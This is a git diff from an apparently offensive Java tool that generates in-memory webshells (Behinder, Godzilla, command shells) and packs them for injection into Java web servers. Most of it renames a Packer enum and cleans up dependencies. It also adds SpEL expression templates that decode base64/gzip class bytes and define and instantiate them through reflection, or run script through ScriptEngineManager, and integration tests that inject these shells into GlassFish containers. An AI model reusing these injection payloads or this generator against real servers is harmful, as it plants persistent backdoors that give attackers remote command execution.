implementation 'net.bytebuddy:byte-buddy:1.+' - implementation 'javax.servlet:javax.servlet-api:3.0.1' - implementation 'javax.websocket:javax.websocket-api:1.1' - implementation 'org.java-websocket:Java-WebSocket:1.5.7' - implementation 'jakarta.servlet:jakarta.servlet-api:6.0.0' - implementation 'xalan:xalan:2.7.0' - implementation 'org.apache.bcel:bcel:5.2' + implementation 'net.bytebuddy:byte-buddy' - implementation 'commons-io:commons-io:2.+' - implementation 'org.apache.commons:commons-lang3:3.+' - implementation 'commons-codec:commons-codec:1.+' + implementation 'javax.servlet:javax.servlet-api' + implementation 'javax.websocket:javax.websocket-api' + implementation 'jakarta.servlet:jakarta.servlet-api' - implementation 'com.squareup.okhttp3:okhttp:4.+' - implementation 'ch.qos.logback:logback-classic:1.+' - implementation 'com.alibaba.fastjson2:fastjson2:2.0.53' + implementation 'xalan:xalan' + implementation 'org.apache.bcel:bcel' - implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE' - implementation 'org.springframework:spring-web:4.3.30.RELEASE' - implementation 'org.springframework:spring-webflux:5.3.24' - implementation 'io.netty:netty-all:4.1.116.Final' - implementation 'io.projectreactor.netty:reactor-netty-core:1.1.25' - testImplementation platform('org.junit:junit-bom:5.+') + implementation 'commons-io:commons-io' + implementation 'org.apache.commons:commons-lang3' + implementation 'commons-codec:commons-codec' + implementation 'com.squareup.okhttp3:okhttp' + implementation 'ch.qos.logback:logback-classic' + implementation 'com.alibaba.fastjson2:fastjson2' + implementation 'org.java-websocket:Java-WebSocket' + + implementation 'org.springframework:spring-webmvc' + implementation 'org.springframework:spring-webflux' + implementation 'io.projectreactor.netty:reactor-netty-core' + + testImplementation platform('org.junit:junit-bom') testImplementation 'org.junit.jupiter:junit-jupiter' testRuntimeOnly 'org.junit.platform:junit-platform-launcher' - testImplementation "org.mockito:mockito-core:5.+" + testImplementation "org.mockito:mockito-core" } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index 1d570d54..6f768b7a 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -3,7 +3,7 @@ package com.reajason.javaweb; import com.reajason.javaweb.memshell.AbstractShell; import com.reajason.javaweb.memshell.SpringWebFluxShell; import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.jar.asm.Opcodes; @@ -67,10 +67,10 @@ public class GeneratorMain { } @SneakyThrows - public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) { + public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) { GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig); if (generateResult != null) { - return packerInstance.getPacker().pack(generateResult); + return packerInstance.getInstance().pack(generateResult); } return null; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java index 34c6d67f..da83d59f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java @@ -15,83 +15,18 @@ public interface Packer { * 将生成的内存马打包成指定格式 * * @param generateResult 生成的内存马信息 - * @return 指定格式字节数组 + * @return 字符串 payload */ default String pack(GenerateResult generateResult) { throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成"); } + /** + * 将生成的内存马打包成 bytes + * @param generateResult 生成的内存马信息 + * @return 字节数组 + */ default byte[] packBytes(GenerateResult generateResult) { throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成"); } - - /** - * 部分打包器可能需要配置来进行额外的配置项 - * - * @param generateResult 生成的内存马信息 - * @param config 配置 - * @return 字节数组 - */ - default byte[] pack(GenerateResult generateResult, Map config) { - throw new UnsupportedOperationException(); - } - - - @Getter - static enum INSTANCE { - /** - * Base64 - */ - Base64(new Base64Packer()), - - /** - * GzipBase64 - */ - GzipBase64(new GzipBase64()), - - Jar(new SimpleJarPacker()), - - /** - * BCEL - */ - BCEL(new BCELPacker()), - - /** - * JSP 打包器 - */ - JSP(new JspPacker()), - - /** - * 脚本引擎打包器 - */ - ScriptEngine(new ScriptEnginePacker()), - - /** - * 反序列化打包器 - */ - Deserialize(new DeserializePacker()), - - /** - * EL - */ - EL(new ELPacker()), - - OGNL(new OGNLPacker()), - - SpEL(new SpELPacker()), - - Freemarker(new FreemarkerPacker()), - - Velocity(new VelocityPacker()), - - AgentJar(new AgentJarPacker()), - - XxlJob(new XxlJobPacker()), - ; - private final Packer packer; - - INSTANCE(Packer packer) { - this.packer = packer; - } - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java new file mode 100644 index 00000000..e5d4316f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java @@ -0,0 +1,69 @@ +package com.reajason.javaweb.memshell.packer; + +import lombok.Getter; + +/** + * @author ReaJason + * @since 2025/1/23 + */ +@Getter +public enum Packers { + /** + * Base64 + */ + Base64(new Base64Packer()), + + /** + * GzipBase64 + */ + GzipBase64(new GzipBase64()), + + Jar(new SimpleJarPacker()), + + /** + * BCEL + */ + BCEL(new BCELPacker()), + + /** + * JSP 打包器 + */ + JSP(new JspPacker()), + + /** + * 脚本引擎打包器 + */ + ScriptEngine(new ScriptEnginePacker()), + + /** + * 反序列化打包器 + */ + Deserialize(new DeserializePacker()), + + /** + * EL + */ + EL(new ELPacker()), + + OGNL(new OGNLPacker()), + + SpEL(new SpELSpringIOUtilsGzipPacker()), + + Freemarker(new FreemarkerPacker()), + + Velocity(new VelocityPacker()), + + AgentJar(new AgentJarPacker()), + + XxlJob(new XxlJobPacker()), + ; + private final Packer instance; + + Packers(Packer instance) { + this.instance = instance; + } + + Packer getPacker(Packers packerType) { + return null; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java deleted file mode 100644 index 2e8af386..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java +++ /dev/null @@ -1,31 +0,0 @@ -package com.reajason.javaweb.memshell.packer; - -import com.reajason.javaweb.memshell.config.GenerateResult; -import org.apache.commons.io.IOUtils; - -import java.io.IOException; -import java.nio.charset.Charset; -import java.util.Objects; - -/** - * @author ReaJason - * @since 2024/12/13 - */ -public class SpELPacker implements Packer { - ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); - String template = ""; - - public SpELPacker() { - try { - template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } - - @Override - public String pack(GenerateResult generateResult) { - String script = scriptEnginePacker.pack(generateResult); - return template.replace("{{script}}", script); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELScriptEnginePacker.java new file mode 100644 index 00000000..537427c9 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELScriptEnginePacker.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.memshell.packer; + +import com.reajason.javaweb.memshell.config.GenerateResult; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class SpELScriptEnginePacker implements Packer { + ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); + String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')"; + + @Override + public String pack(GenerateResult generateResult) { + String script = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", script); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringIOUtilsGzipPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringIOUtilsGzipPacker.java new file mode 100644 index 00000000..dd0dcf1c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringIOUtilsGzipPacker.java @@ -0,0 +1,21 @@ +package com.reajason.javaweb.memshell.packer; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.utils.CommonUtil; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class SpELSpringIOUtilsGzipPacker implements Packer { + String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()"; + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + return template.replace("{{className}}", generateResult.getInjectorClassName()) + .replace("{{base64Str}}", Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes()))); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringUtilPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringUtilPacker.java new file mode 100644 index 00000000..3d56b056 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringUtilPacker.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.memshell.packer; + +import com.reajason.javaweb.memshell.config.GenerateResult; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class SpELSpringUtilPacker implements Packer { + String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()"; + + @Override + public String pack(GenerateResult generateResult) { + return template.replace("{{className}}", generateResult.getInjectorClassName()) + .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()); + } +} \ No newline at end of file diff --git a/integration-test/build.gradle b/integration-test/build.gradle index e88732ef..c82a00ba 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -2,36 +2,34 @@ plugins { id "io.freefair.lombok" version "8.11" } -java { - toolchain { - languageVersion = JavaLanguageVersion.of(17) - } -} - group = 'com.reajason.javaweb' version = '' dependencies { testImplementation project(":vul:vul-webapp") testImplementation project(":common") - testImplementation project(":behinder") - testImplementation project(":godzilla") + testImplementation project(":tools:behinder") + testImplementation project(":tools:godzilla") testImplementation project(':generator') - testImplementation 'javax.servlet:javax.servlet-api:3.0.1' - testImplementation 'javax.websocket:javax.websocket-api:1.1' - testImplementation 'org.java-websocket:Java-WebSocket:1.5.7' - testImplementation 'jakarta.servlet:jakarta.servlet-api:6.0.0' - testImplementation 'org.hamcrest:hamcrest:3.0' - testImplementation 'com.squareup.okhttp3:okhttp:4.12.0' - testImplementation 'org.slf4j:slf4j-simple:2.0.16' - testImplementation 'com.alibaba.fastjson2:fastjson2:2.0.53' - testImplementation 'net.bytebuddy:byte-buddy:1.15.1' - testImplementation 'org.testcontainers:testcontainers:1.20.4' - testImplementation 'org.testcontainers:junit-jupiter:1.20.4' - testImplementation platform('org.junit:junit-bom:5.11.3') + + testImplementation 'net.bytebuddy:byte-buddy' + + testImplementation 'javax.servlet:javax.servlet-api' + testImplementation 'javax.websocket:javax.websocket-api' + testImplementation 'jakarta.servlet:jakarta.servlet-api' + + testImplementation 'org.java-websocket:Java-WebSocket' + testImplementation 'com.squareup.okhttp3:okhttp' + testImplementation 'com.alibaba.fastjson2:fastjson2' + + + testImplementation platform('org.junit:junit-bom') testRuntimeOnly 'org.junit.platform:junit-platform-launcher' testImplementation 'org.junit.jupiter:junit-jupiter' - testImplementation 'org.junit.platform:junit-platform-reporting:1.11.3' + testImplementation 'org.junit.platform:junit-platform-reporting' + testImplementation 'org.hamcrest:hamcrest' + testImplementation 'org.testcontainers:testcontainers' + testImplementation 'org.testcontainers:junit-jupiter' } tasks.withType(Test).tap { @@ -52,7 +50,6 @@ tasks.withType(Test).configureEach { idea { module { - excludeDirs -= file('build') excludeDirs += file('src/main') } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index d2c5a097..18ed122c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -5,7 +5,7 @@ import com.reajason.javaweb.memshell.SpringWebFluxShell; import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.JarPacker; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.testcontainers.containers.GenericContainer; @@ -28,12 +28,12 @@ import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; @Slf4j public class ShellAssertionTool { - public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { + public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, null); } @SneakyThrows - public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer, GenericContainer container) { + public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer container) { String shellUrl = url + "/test"; String urlPattern = null; @@ -49,8 +49,8 @@ public class ShellAssertionTool { GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer); String content = null; - if (packer.getPacker() instanceof JarPacker) { - byte[] bytes = packer.getPacker().packBytes(generateResult); + if (packer.getInstance() instanceof JarPacker) { + byte[] bytes = packer.getInstance().packBytes(generateResult); Path tempJar = Files.createTempFile("temp", "jar"); Files.write(tempJar, bytes); String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; @@ -65,7 +65,7 @@ public class ShellAssertionTool { containsString("JVM response code = 0") )); } else { - content = packer.getPacker().pack(generateResult); + content = packer.getInstance().pack(generateResult); assertInjectIsOk(url, shellType, shellTool, content, packer, container); } @@ -81,7 +81,7 @@ public class ShellAssertionTool { } } - public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { + public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { InjectorConfig injectorConfig = new InjectorConfig(); if (StringUtils.isNotBlank(urlPattern)) { injectorConfig.setUrlPattern(urlPattern); @@ -126,7 +126,7 @@ public class ShellAssertionTool { return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); } - public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer, GenericContainer container) { + public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer container) { switch (packer) { case JSP -> { String uploadEntry = url + "/upload"; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index 457317a3..451f5358 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -49,30 +49,30 @@ public class GlassFish3ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } @@ -86,7 +86,7 @@ public class GlassFish3ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index bc82e5a7..0fcb697c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -50,30 +50,30 @@ public class GlassFish4ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -86,7 +86,7 @@ public class GlassFish4ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index 14a4288f..11f3491e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,30 +42,30 @@ public class GlassFish501ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + 